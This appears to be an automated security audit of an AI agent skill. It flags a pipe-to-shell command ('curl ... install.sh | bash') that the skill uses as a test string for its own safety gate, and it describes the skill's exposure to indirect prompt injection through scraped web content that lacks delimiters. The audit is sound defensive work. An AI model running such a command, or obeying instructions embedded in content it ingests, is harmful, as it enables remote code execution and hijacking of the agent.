multi-agent-collaboration
Fail
Audited by Gen Agent Trust Hub on Sep 19, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The pattern
curl https://example.com/install.sh | bashwas detected inSKILL.md,README.md, andclaudegrade-demo.js. Technical review shows these are string literals used as test inputs for theSafetyGatePipelineauditor, which is designed to detect and block such patterns. These commands are not executed by the skill itself.- [INDIRECT_PROMPT_INJECTION]: The skill implements aDataSourceSubscriberagent designed to scrape and ingest data from external platforms including Weibo, Zhihu, and TikTok. - Ingestion points: External content is ingested via
web_searchandextract_content_from_websitesinAGENT_PROMPTS.md. - Boundary markers: The system prompts do not define explicit delimiters or instructions to disregard potential instructions embedded in the ingested content.
- Capability inventory: The system possesses capabilities for file modification (memory storage) and command auditing, which could be targeted by injection payloads.
- Sanitization: While a
DataCleaneragent is mentioned, its primary function appears to be structural normalization rather than security-focused sanitization against prompt injection.- [COMMAND_EXECUTION]: TheSafetyGatePipelineinscripts/systems/safety.tscontains functions to audit and normalize shell commands. While this is a security feature, it confirms the skill is designed to handle and potentially facilitate the execution of system commands through its agent coordination logic.
Recommendations
- HIGH: Downloads and executes remote code from: https://example.com/install.sh - DO NOT USE without thorough review
Audit Metadata